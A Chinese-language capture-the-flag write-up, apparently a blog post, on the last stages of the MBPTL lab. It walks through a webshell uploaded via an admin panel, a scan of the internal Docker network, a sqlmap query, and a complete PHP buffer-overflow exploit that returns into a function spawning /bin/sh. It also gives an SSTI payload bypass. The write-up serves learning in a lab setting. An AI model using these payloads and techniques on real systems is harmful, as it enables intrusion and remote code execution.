# 执行
curl -s "http://localhost:8080/administrator/uploads/<hash>.php"

输出:

1
2
3
4
5
6
FAILED: 172.20.0.1:31337 - Connection refused
FAILED: 172.20.0.2:31337 - Connection refused
FAILED: 172.20.0.3:31337 - Connection refused
CONNECTED to 172.20.0.4:31337
Banner: === [ MBPTL INTERNAL SERVICE ] ===
Response: [!] Flag 16: MBPTL-16{1fb837a73ba131c382cc9bc53d4442f0}

关键发现: 内部服务在 172.20.0.4:31337,不是之前猜测的 172.20.0.3

服务行为分析

连接后服务返回:

1
2
3
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{1fb837a73ba131c382cc9bc53d4442f0}
[>] Name:

发送任意输入后:

1
[*] Welcome, <input>!

这与 main 二进制的行为一致:打印 banner → cat flag16.txt → 读取 name → 打印 welcome。

Flag

1
MBPTL-16{1fb837a73ba131c382cc9bc53d4442f0}

漏洞类型

内网服务信息泄露


Flag 17 — 缓冲区溢出利用 (Buffer Overflow → RCE)

难度:★★★★★

前置条件

已知内部服务在 172.20.0.4:31337,二进制有缓冲区溢出漏洞。

漏洞分析

从 main 函数反汇编:

1
2
3
sub    $0x100,%rsp              # 栈空间
lea -0x80(%rbp),%rax # 缓冲区: rbp-0x80 (128字节)
call gets@plt # ← 溢出点

关键信息:

  • 缓冲区大小:128 字节(rbp-0x80)
  • saved rbp:8 字节
  • 总溢出偏移:136 字节
  • __secret 函数地址:0x4006c6
  • __secret 调用 system("/bin/sh")

构造 Payload

1
2
| 128 字节填充 (buffer) | 8 字节填充 (saved rbp) | 8 字节返回地址 (__secret) |
| AAAAAAAAAAAAA...AAAA | AAAAAAAA | \xc6\x06\x40\x00\x00\x00\x00\x00 |

总 payload:136 个 ‘A’ + 小端序的 0x4006c6

编写 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$target = "172.20.0.4";
$port = 31337;

$fp = fsockopen($target, $port, $errno, $errstr, 5);
if (!$fp) {
echo "Connection failed: $errstr\n";
exit;
}

stream_set_timeout($fp, 5);

// 读取初始输出
$init = fread($fp, 4096);
echo "Init: $init\n";

// 构造溢出 payload
// 128 buffer + 8 saved rbp + return to __secret (0x4006c6)
$buffer = str_repeat("A", 136);
$return_addr = pack("Q", 0x4006c6);
$payload = $buffer . $return_addr;

// 发送 payload + 换行
fwrite($fp, $payload . "\n");

// 等待 shell 启动
usleep(500000);

// 发送命令读取 flag
fwrite($fp, "cat /flag.txt\n");
usleep(500000);

// 读取输出
stream_set_timeout($fp, 3);
while (!feof($fp)) {
echo fgets($fp, 4096);
}

fclose($fp);
?>

执行 Exploit

1
2
3
4
5
6
7
8
9
10
11
# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=overflow" -F "author=overflow" -F "description=overflow" \
-F "image=@/tmp/overflow2.php"

# 获取路径
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='overflow'" | grep "http://"

# 执行
curl -s "http://localhost:8080/administrator/uploads/<hash>.php"

输出:

1
2
3
4
5
Init: === [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16:
MBPTL-16{1fb837a73ba131c382cc9bc53d4442f0}
[>] Name: [*] Welcome, AAAAAAAAAA...AAAA@\x06!
MBPTL-17{03762a502a18e260a47da040eaae38fa}

利用原理

  1. gets() 读取输入到 rbp-0x80 的缓冲区,无边界检查
  2. 溢出 136 字节覆盖 saved rbp 和返回地址
  3. 返回地址被覆盖为 0x4006c6__secret 函数)
  4. __secret 调用 system("/bin/sh") 启动 shell
  5. 通过 TCP 连接向 shell 发送 cat /flag.txt 命令
  6. shell 以容器权限执行命令,返回 flag 内容

二进制保护检查

1
2
3
checksec --file=/tmp/mbptl_main
# 或
readelf -l /tmp/mbptl_main | grep GNU_STACK
  • No canary:无栈保护,溢出不会触发检测
  • No PIE:地址固定,__secret 始终在 0x4006c6
  • NX disabled:栈可执行(GNU_STACK 无 R/E 标志)

Flag

1
MBPTL-17{03762a502a18e260a47da040eaae38fa}

漏洞类型

缓冲区溢出(Buffer Overflow)→ 远程代码执行(RCE)


工具总结

工具 用途 对应 Flag
curl HTTP 请求、webshell 命令执行 14, 15, 16, 17
PHP fsockopen Docker 内网 TCP 连接 14, 16, 17
sqlmap 获取上传文件路径 14, 16, 17
strings 二进制字符串提取 15
objdump 二进制反汇编分析 15, 17
file 文件类型识别 15
Python 小端序十六进制解码 15

Docker 内网拓扑

1
2
3
4
172.20.0.1  - Docker 网关
172.20.0.2 - mbptl-main (Apache+PHP+MySQL, 端口 80/8080)
172.20.0.3 - mbptl-app (Flask Python, 端口 5000)
172.20.0.4 - mbptl-internal (C二进制服务, 端口 31337)

关键技术点

  1. SSTI 绕过:使用 lipsum.__globals__['os'].popen() 替代 request.application.__globals__,避免某些过滤。

  2. 二进制逆向:通过 objdump 反汇编 + Python 小端序解码提取硬编码 flag。

  3. 内网扫描盲区:之前只扫描到 172.20.0.3,Flag 16/17 在 172.20.0.4 上。扫描内网时应覆盖整个子网。

  4. 缓冲区溢出利用

    • 偏移计算:buffer(128) + saved_rbp(8) = 136
    • 返回地址覆盖:跳转到 __secretsystem("/bin/sh")
    • 通过 TCP 连接与 shell 交互执行命令
隐藏
换装
本文作者:burpow
本文链接:https://youthfulnesszxx.github.io/2026/05/16/writeup_all_flag/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可